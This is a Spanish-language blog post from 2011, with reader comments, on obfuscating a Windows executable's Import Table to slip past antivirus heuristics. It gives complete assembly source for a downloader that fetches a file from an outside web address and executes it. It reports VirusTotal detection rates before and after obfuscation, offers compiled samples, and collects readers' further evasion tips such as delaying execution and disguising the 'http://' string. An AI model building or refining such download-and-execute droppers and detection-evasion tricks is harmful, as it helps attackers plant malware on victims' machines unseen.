miércoles, 13 de abril de 2011

Ofuscación de la IT, consecuencias

Ya adelanto que parece que “ofuscar” la IT no es demasiado útil para saltarse las heurísticas, mi gozo en un pozo :( Pero sigue siendo útil para confundir a algunos antivirus o herramientas(LordPE).

Para realizar las pruebas necesitamos un programa que supongamos que vaya a ser detectado por heurística, el mas típico y sencillo es un Downloader que haga uso primero de la API URLDownloadToFile para descargar un fichero desde una página web y después de la API ShellExecute para ejecutar el fichero descargado.

Supongo que un antivirus al ver que las 2 únicas API que se usan son esas dos tan sospechosas detectará el fichero como posible Downloader.

El código en ensamblador es sencillito:

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc

includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib

.data

urlcalc  db "http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1", 0 ;Calculadora de windwos
nombre   db "calc.exe", 0
action  db "open", 0

.code

codigo:

push 0
push 0
push offset nombre
push  offset urlcalc
push 0
call  URLDownloadToFile

push SW_SHOW
push  0
push  0
push  offset nombre
push  offset action
push 0
call ShellExecute
 
push 0
call  ExitProcess

end codigo

El código descarga la calculadora desde http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1 y la ejecuta.

Os subo aquí el ejecutable compilado.

Lo subimos a VirusTotal y lo detectan 27/42 AVs. Algunos nombres son muy descriptivos: Heuristic.BehavesLike.Win32.Downloader.J

Ahora aplicamos la técnica de ofuscar la IT. Esta vez para hacerlo mas sencillo he añadido 2 secciones y he puesto la IT en medio. Subo el ejecutable con la IT ofuscada por si queréis echarle un ojo.

Lo volvemos a subir a VT y lo detectan 20/42. Algunos AVs no detectan esta muestra pero si la anterior y viceversa. Así que no es un a prueba muy concluyente, además no estoy seguro que lo detecten por heurística habría que probar los antivirus con la heurística desactivada y ver si detectan el ejecutable o no. A ver si sale pronto a la luz KIMS 2.0 y puedo realizar algunas pruebas mas.

Algo curioso es que Microsoft Security Essentials si detecta el downloader original: image

Pero no detecta el ejecutable con la IT ofuscada, ¿no será capaz de leerla? ¿O influirán otras cosas?

Un saludo!

6 comentarios:

  1. Quizá si se basa en buscar siertas apis, y como no es capaz de leeras x.x
    Lindos mensajes Thor, parecen cartas de amor :P
    Saludos!

    ResponderEliminar
  2. Hola thor,

    el problema está en que se hace la llamada a la función de descargar un archivo y seguidamente, se ejecuta y se cierra la aplicación, si no cierras la aplicación y la ejecución del malware posterior se hace en un intervalo, verás que vuelves a dejar indetectable a otro par de av's, saludos!

    ResponderEliminar
  3. Hola,

    Pero fijate que si el antivirus para saber que se va a llamar a la API de descargar un fichero primero tiene que leer la Import Table, sino no tiene la menor idea de a que API se va a llamar. De lo que deduzco que son capaces de leer correctamente la IT, aun ofuscada. ¿Emularan al loader de windows o algo asi?

    También me he fijado que suprimiendo completamente la IT muchos antivirus aun siguen detectandolo como downloader parece que la ruta "http://" les basta para marcar el archivo como sospechoso.

    Definitivamente tengo que realizar mas pruebas al respecto.

    Saludos!

    ResponderEliminar
  4. Entonces prueba a "jugar" con la cadena "HTTP://" a ver que pasa...

    Me encanta tu blog. Si no es mucho pedir, sigue en esta línea :)

    Saludos.

    ResponderEliminar
  5. Buenas,
    esta muy bien tu blog lo eh descubierto gracias a una entrada en securitybydefault,me gustaria ver mas investigacion en este campo de saltarse AV's,en este caso en concreto se me ocurre algunas cosas que creo que seria interesante probar,por ejemplo intentar descargar un txt en vez de un exe,distintas formas de llamar a las funciones y tambien como an comentado por ahi poner un retraso entre la descarga y la ejecucion.

    ResponderEliminar
  6. Gracias por los comentarios, en su día probé a ir haciendo un downloader cada vez menos detectado usando distintas técnicas. Posiblemente lo vuelva a intentar.

    ResponderEliminar